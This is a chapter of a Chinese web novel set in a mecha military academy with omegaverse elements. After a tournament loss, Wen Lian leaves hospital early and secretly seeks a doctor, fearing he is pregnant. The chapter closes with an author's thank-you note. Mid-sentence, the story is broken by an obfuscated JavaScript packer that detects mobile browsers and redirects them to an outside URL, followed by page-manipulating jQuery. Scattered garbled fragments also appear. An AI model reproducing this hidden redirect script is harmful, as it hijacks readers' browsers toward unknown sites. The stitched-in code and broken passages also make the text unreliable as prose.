诊断室里迎来了今日最长的一阵死寂。
温敛坐在椅子上,本就面无表情的一张脸在光线下好像变得更冷、更白。
在主治医问完那句话后,就静静地攥紧了手指,一言不发。
“您放心,超声检查不会对精神海造成任何损害……”
主治医以为他是在担心再做检查会对身体产生负荷。
“如果实在担心,觉得没恢复好,您也可以明后天再做。反正,这只是个小检查。”
“没有可能是其他的病因吗?”温敛问。
主治医当然考虑过很多,但眼前,这么多张检查报告都显示没有异常,包括一系列绝症重症的可能都被排除了。
那么眼下,一个Alpha激素低下,反倒是小得不能再小的问题。
只要按时吃药调整,作息规律健康,两三周就能恢复正常。
所以,他更不明白温敛前面明明那么配合,现在却对一个超声检查表现出了排斥。
“温少爷,我们首先还是考虑激素低下的问题,超声可以检测出激素的具体情况……这样,我们才好对症下药。”
他还想再劝几句,温敛已经站了起来,半垂的眼里荡着不断起伏的暗流,声音还算平稳。
“我最快多久能出院?”
出院其实明天就能出,但他的精神海还没完成稳定,之后随时有反复崩溃的可能。
主治医建议温敛可以在医院再多待几天。
“我知道您学校的事很繁忙,但身体才是最重要的啊,再等……”
“等不了了,”温敛语速很快,“明天是吧,明天一早给我办出院手续。”
……
这届机甲联赛,损伤最严重的恐怕就是温敛和书星鹿的机甲了。
一个被卸了两条机械臂,外壳险些扭曲变形。
一个防护罩全碎,内部的芯片和电路都被烧毁得七七八八。
两台机甲从尘土里露出形状时,众人都是一惊。
而现在,路岐的机甲内,余热剧烈,AI在不断报警提示:温度过高、强制关闭。
她一直等到灼人的热度彻底散去后,松开操纵杆,从最下面的舱门出来。
一出来,体育场内就吵吵闹闹,匆匆忙忙跑来的丽奇告诉她,就在刚才,外面来了好多救护车,温敛和书星鹿已经被紧急送去了医院了。
“两条机械臂断了倒不是大事,主要温敛最后那一下,书星鹿好像被撞得直接从驾驶舱里飞出去了。我看他额头流了好多血…
…”
这个路岐心里有数,在丽奇开始絮叨温敛好像也伤得很重时,她打断她,道:“温敛的机甲已经被学校收走了?”
“还没有,应该还在那边放着呢。”
路岐顺着她指的方向,走进人流、穿过很多道围栏。
白色的机甲破败地伫立在那里,周围散落了一地的外壳碎片,有的已经烧焦,分不清完整的形状了。
“路岐,怎么了吗?温敛的话,已经被搬上救护车了。”丽奇道。
路岐不太在意地“嗯”了声,试了试外部的紧急开关,好在机甲的主要枢纽没出故障,舱门打开了。
她走进去,比想象中还要灼热的室内温度烫得她眼皮跳了跳。
丽奇在后面也惊叫一声:“我的妈,都这么久了,散热还没散完吗?温敛到底是怎么在里面……”
后面的话因为太惊讶卡在喉咙里,但路岐也知道她想说什么。
温敛到底是怎么在一个这么高温的环境待了那么久的?
她想起刚才,他突然抬臂斩断了机甲的最后一条手,书星鹿因此信心崩塌,精神力失控,路岐对他的精神入侵也失效了。
但理论上而言,这种概率不可能发生。
温敛的身体状况和精神力都不足以对抗刚才的那种情况。
现在,看到舱内的高温环境,路岐倒是明白了。
他一定是强行调大了自身对机甲的精神掌控力,大脑负荷,机甲本体也负荷,在这种滚烫到让人窒息的环境里,也不知道他是怎么忍耐下了剧痛,将书星鹿击倒的。
“……”
“路岐?你说什么?”丽奇感觉身旁有声音,但没听清。
路岐道:“我说,上过基础机甲课的人,应该都知道舱内高温时,应该立刻关闭机甲,进行降温冷却。”
“确实……但刚才场上的情况,按首席的性格,肯定不可能退的。”
“是。”她面无表情,眼里有某种情绪在涌动,前方那座金属驾驶座椅,早已被烧得微微发红。
“……他比我想得,似乎还要更不服输一点。”
尽管出了很多状况,但奥斯军校的第181届机甲联赛比往届都要精彩,最后的冠军也出于意料,是众人以为输定了的黑马。
——路岐。
路岐竟然又赢了温敛一次!
这消息在当天晚上,掀起了一阵不小的骚动。
围观了比赛的学生热血沸腾,当然要添油加醋,说温敛被打败时是如何如何的惨状,路岐如何如
何的牛逼。
没来看比赛的学生听着热闹也觉得带劲转头又传出去。
传来传去倒是把书星鹿这个冠军队伍的人再次拉了出来。
毕竟整场比赛里他和温敛的比拼时间占了八成虽然一开始被打得节节败退但要是没有他在前面削弱温敛路岐也找不到致命一击的机会。
书星鹿上次表现得不太好这次倒很让人眼前一亮。
不愧是黑马队伍里的队员。
众人早就忘了温敛其实根本就没有“被削弱”这一过程他的破绽是在一瞬间突然露出来的那个时点堪称诡异。
就像驾驶员开机甲开到一半自己放开了操纵杆一样。
兴奋的点永远在人脑里记忆深刻微不足道的细节就没人会去在意了。
逆境反击、永不落败的首席被普通人拉下神坛的剧本谁不爱看呢。谁都爱看。
可能也就只有和温敛交好的朋友他的那些崇拜者会不乐意吧。
但大多数军校人慕的也不是温敛
一夜过去学校各个群里激情讨论这事的人不见少越来越多。
打听路岐什么来头的给她编了一段悲惨逆袭童年剧本的对温敛过井下石的当然也有给温敛的落败找补的。
“路岐不就最后抢了个人头吗??这叫什么逆风翻盘啊我服了有本事堂堂正正的单挑”
“温敛的狗能不能闭嘴很烦内睁开眼看看现在躺在医院的是谁不是我们平平无奇的普通黑马吧”
“那你这么说书星鹿不也在医院?”
“人家跟首席可是打了个好几分钟呢很厉害了好不好又不是你们输了比赛在这急冲冲的维护什么很怪”
“人外有人天外有天。让我们在今天这个特别的日子纪念一下温首席的陨落(双手合十.jpg)黑马你干得好啊”
“黑马无敌黑马牛逼”
大群里吵吵嚷嚷不是东风压西风就是西风压东风好像奥斯军校要变天了一样。
丽奇只觉得他们无聊吃饱了撑的憧憬的偶像和队友都进了医院她就算赢了也高兴不起来。
好在那之后教官很快就来通知她们书星鹿没什么大碍后天就可以出院。
她兴致勃勃地跟路岐提议后天要不要请假去医院接书星鹿出院。
奥斯军校请假比较麻烦但以队友的身份应该能顺利批下来。
“不过温敛的情况还不清楚好像还要留院观察一阵
子……我给他发过消息没读。我朋友还打过几个电话也都没接。你呢?”
路岐看着手机平淡的语气:“没有。”
“他也没回你吗?”
她道:“我没发消息。”
“为什么?你……”丽奇一顿想起他们两个关系不好的事了“那后天的医院咱们去吗?我是还想看看首席怎么样了我有点担心……”
虽然路岐可能并不关心。
“去。”好在路岐答应了“为什么不去?”
一晃眼就到了后天二人从学校打车到了医院有护士领她们去书星鹿的病房。
他人是昨天白天就醒了结果给他输液的护士不知道书星鹿的体质搞得他突然易感期发作把护士都打了个措手不及。
好在医院有常备抑制剂折腾了一夜这易感期倒是比他受的外伤存在感都高了。
现在病房里只剩了一个看护机器人在运作。
书星鹿坐在床上头上包扎着绷带脸色有些憔悴看见路岐进来一愣呆滞得比机器人都僵硬。
没等丽奇出声打招呼他眼睛里突然冒出水雾大颗大颗的眼泪顺着脸颊就往下砸。
把丽奇吓了个够呛。
“对不起……对不起。路岐……”书星鹿抬起手背挡住眼睛声音发涩带着哭腔有些口齿不清地跟路岐说了好多声对不起。
明明他们队赢了他却哭得好像跌落谷底。
丽奇急忙道:“没有是我的问题!我当时在边上被首席的队友纠缠住了没来得及帮你好在路岐最后补了一枪。真的是我的锅全是我的!”
她以为书星鹿是在为赛场上的失误而愧疚。
路岐没吭声站在边上等他哭完然后踢了脚机器人让它递纸过去。
书星鹿擦了眼泪还一抽一抽的眼圈红红鼻尖也红红的
丽奇:……
书星鹿是这种人设来的吗?
“反正先出院回学校吧。”路岐说。
书星鹿窥了她一眼从女人的脸上读不出任何情绪迁怒、厌恶没有当然也没有任何宽慰。
他不敢再说什么点了点头。
恰好这时护士从门口经过丽奇赶紧问道:“你好温敛的病房在哪儿呀?我们是他的同学想顺便探望下他。”
“温敛?”护士不解“温敛的话今早已经出院了啊。”
“出院?”丽奇惊愕,“但,教官不是说,他的情况还很不稳定,要住院再几天观察……”
“原本是这样的,我们也劝了他,但他说什么都要提前出院,今早7点就走啦。”
护士道:“我还以为是温少爷着急学校的事才非要走呢,他难道没回学校吗?”
丽奇不禁回头看向路岐。
她们是今早10点出的校门,学校和医院也就一个小时的车程,温敛要回学校应该早就到了。
但她们来时没看见任何人,学校的大群里也没人说温敛回来了。
“……首席,他去哪儿了?”
冬天的寒风有点冷飕飕的,温敛把半边脸埋在围巾里,在人来人往的咖啡厅门口,等了快半小时,有人才踏着地上的薄冰匆匆赶到。
“温敛!不好意思,你等很久了吗?”
戈密尔口中喘着白烟,显然是一路跑过来的。
他也没想到温敛会突然联系自己,还一联系就是一条:“我想见你”。
他起初还心慌意乱,以为是前任找上了自己,定睛一看ID,是更让他惊慌的人物,大半年都没说过一句话的,朋友。
“还好。”温敛说,“进去说吧。”
二人走进咖啡厅,找了个角落位置坐下。
明明发消息时的文面看上去有些急促,但等见了面,温敛又好像不怎么着急,就跟平常朋友出门逛街一样,叫来服务机器人,点了两杯咖啡,在嘈杂的人声里,陷入了沉默。
“温敛?”戈密尔早就看出他脸色有些苍白,看起来状态不对,惴惴不安地问,“你突然叫我出来,是……出了什么事吗?”
“算是吧。”温敛答。
他浅绿的眼睛有些复杂,盯着玻璃窗外的街灯光影看了一会,又挪回来看他。
“你联系得上莫斯医生吗?”
“莫斯医生吗?为什么?”
莫斯医生是以前温家的雇佣贴身医师。
当时,温家正缺一位专门医师,戈密尔的父母正好有一位朋友就是医生。
他刚从医院出来,想单干,医术也很高明,戈密尔父母就把莫斯医生介绍给了温家。
这位医生在温家一待就是十几年,后来却不知道因为什么缘故,离开了温家。
戈密尔不解,温敛为什么突然提起这个。
“你怎么不打电话回家问问?问问你爸妈,或者吴叔?”他道,“他们应该知道吧。”
温敛摸出手机,给戈密尔看联系列表上一排
的无人接听提示。
**这是因为空间有某种限制,还是,本来就是这样。
戈密尔露出了然的神色:“他们又在忙吗?又联系不上了……?”
他说了声那我问问我爸吧,然后拨了通电话过去。
他接电话的时候,咖啡来了,温敛随便端起来尝了一口,又涩又苦,这才发现忘了放方糖。
“我爸也没接电话……不过,他现在人不在联邦,估计在别的地方不知道干什么呢。我给他留言了,他醒了之后会回我的。”
戈密尔看温敛哐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664343|172931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哐往咖啡里放糖,以前他的口味可不是这样,笑道:“你怎么了?以前不是经常喝冰美式的吗?”
温敛闷道:“不知道,今天的好像特别苦。”
他又是突然叫自己出来,又是突然要莫斯医生的联系方式的,戈密尔自然而然会想到,是不是温敛的身体又出了什么问题。
他从小就和温敛认识,被父母带去温家谈生意时,常常和他一起玩,所以也知道,莫斯医生是温家专门为了温敛雇佣的,因为温敛从小身体就不太好。
但他每次问温敛,他得了什么病,都被温敛轻飘飘避开了话题。
此刻,戈密尔也思考了好一阵才问:“是你的旧病复发了吗?但我听说,莫斯医生是治好了你才走的……”
“是出了点意外。”温敛搅着咖啡道。
主治医说的,当然只是一种可能性。
怀孕。
本来要是没有和路岐的那一晚,温敛当然就可以在那个病房里笑笑,直接说不可能。
但现在,就算他觉得很荒谬,也没法否认。
之前在其他空间里的那些都不算,他杀了路岐,时间早就重置了。
但只有在酒店的那一晚,自己喝醉了没有意识,路岐那个时候可能……真的进了生殖腔也说不定。**。
但不管怀没怀,温敛都不可能在医院里接受超声检查。
这世上只有四个人知道他是Omgea。
父母,路岐,还有莫斯。长期给他注射药物的医生。
联邦对Omgea的怀孕管理相当严格,包括最低廉的验孕棒和一切别的验孕手段,都需要先去医院登记名字才能购买。那就跟做超声检查没区别了。
反正,温敛现在必须先排除自己怀孕了这一个可能。
大概是他的脸色越来越沉,戈密尔有些担忧,跨过桌子,握住了他放在桌上的手,冷得吓人。
“温敛……你如果有什么不好说的事
,都可以跟我商量。我们虽然很久没联系了,但我一直……一直都很想跟你说话,我们是朋友。”
确实。
温敛从小到大,只认识这一个Omega的朋友。但要告诉他自己也是Omega,那也是不可能的。
“你怀过孕吗?”他抬起眼睫,干脆直接问了。
戈密尔一呆,没明白他话题的跨度怎么这么大。
“怀、怀孕?我吗?为什么突然说到我身上……”
“军校的社会调查课题。我们是封闭式的学校,Omega又少,没什么参考性。所以问问你。”
“那……你刚才表情那么难看,是因为课题很难做?那莫斯医生又是为……”
“回答我的问题。”温敛不耐烦地眯眯眼睛。
戈密尔只好道:“有。但我没要。你也知道,我前任……”
在联邦,Omega想要独自堕胎是很难的。
戈密尔的情况特殊,他的恋人没有标记他,且对他使用过两次以上的暴力,警察所判断戈密尔符合标准,所以才允许了他流产。
好在他本来月份就小,现在的医疗科技又发达,基本没有对身体造成任何伤害。
“……你前任知道你怀孕还打你?”温敛挑眉,倒是一次听说这件事。
戈密尔温温柔柔地苦笑:“对啊,我告诉他我怀孕了,他反而更变本加厉。可惜,我直到现在才意识到他居然是那么烂的人,以前的我到底是怎么想的呢……”
烂人。
温敛脑子里一瞬间浮现起路岐的脸,很快就被他抹去了。
“不如别告诉他。”
“但除非是我这种情况,不然,没有Alpha签字的话,不管是生还是堕胎,都是不行的。”他说,“在法律上,Alpha本来就有知情权。起码,我得让他知道孩子的父亲是谁啊。”
“……”温敛拧眉没吭声。
戈密尔看着他喝咖啡,突然又想到一件事,竖起食指道:“对了,现在还没有证据表明,咖啡.因对怀孕的Omega是绝对安全的。所以,应该尽量避免摄入。你把这个也记进你的课题里吧。”
温敛含在嘴里的那口咖啡一时不知道是吐是咽。
他心想,也没有任何证据表明自己就是怀了,还怀的那个**的。他把咖啡咽了下去。
时间差不多了,戈密尔也有工作要忙,他看着手机站起来:“如果我爸回我了,我第一时间就把莫斯医生的联系方式发给你。你放心吧。”
温敛嗯了
声,把围巾系好,跟戈密尔道别。
外面天色渐渐昏暗,居然还下起了小雪,刺骨的冷空气让温敛还未稳定的精神海稍微清醒了一些。
学校的大群里还在刷着机甲联赛的事,温敛其实早上起来时就看过一眼。
以前,他还能对着这些无聊的争端话题无所谓地嘲笑,现在,倒是连别人怎么奚落他输掉比赛的消息都没心情欣赏了。
戈密尔随时都有可能把莫斯医生的联系方式发来。
他不打算回学校,一旦回去,要再请假出来就很麻烦。
这个时间,军事处的宿舍也还没有温敛的房间。
他短暂地考虑了一秒要不要回温家,最后还是打消这个念头,准备找个酒店随便住几天。
“滴滴”
手机的提示音在这时响了。
温敛好友列表里只有军校的同学,他被送去医院以后,基本上每个人都给他发过一两条消息。
问候他病情的,关心的,阴阳怪气的,什么都有。不过温敛都没点开看过。
这APP有一个机制,只要不点开看,对方再发消息过来也不会有提示。
所以,这个提示音只可能来自于一个,他出事以后,从没给他发过一条消息的人。
他摁亮光幕。
[**:您在哪儿?]
作者有话要说
想不出小剧场了可恶
感谢在2023-07-0523:44:07~2023-07-0622:33:14期间为我投出霸王票或灌溉营养液的小天使哦~
感谢投出**的小天使:酒曲深沉、好想睡二十五个小时、弦听秋荷、三只大福1个;
感谢灌溉营养液的小天使:抱抱小狗30瓶;大红枣茶15瓶;南京子呀呀10瓶;在乎、墨默、小树5瓶;乔六2瓶;美晕地球的金丹的狗、布拉布拉、三月七、无调1瓶;
非常感谢大家对我的支持,我会继续努力的!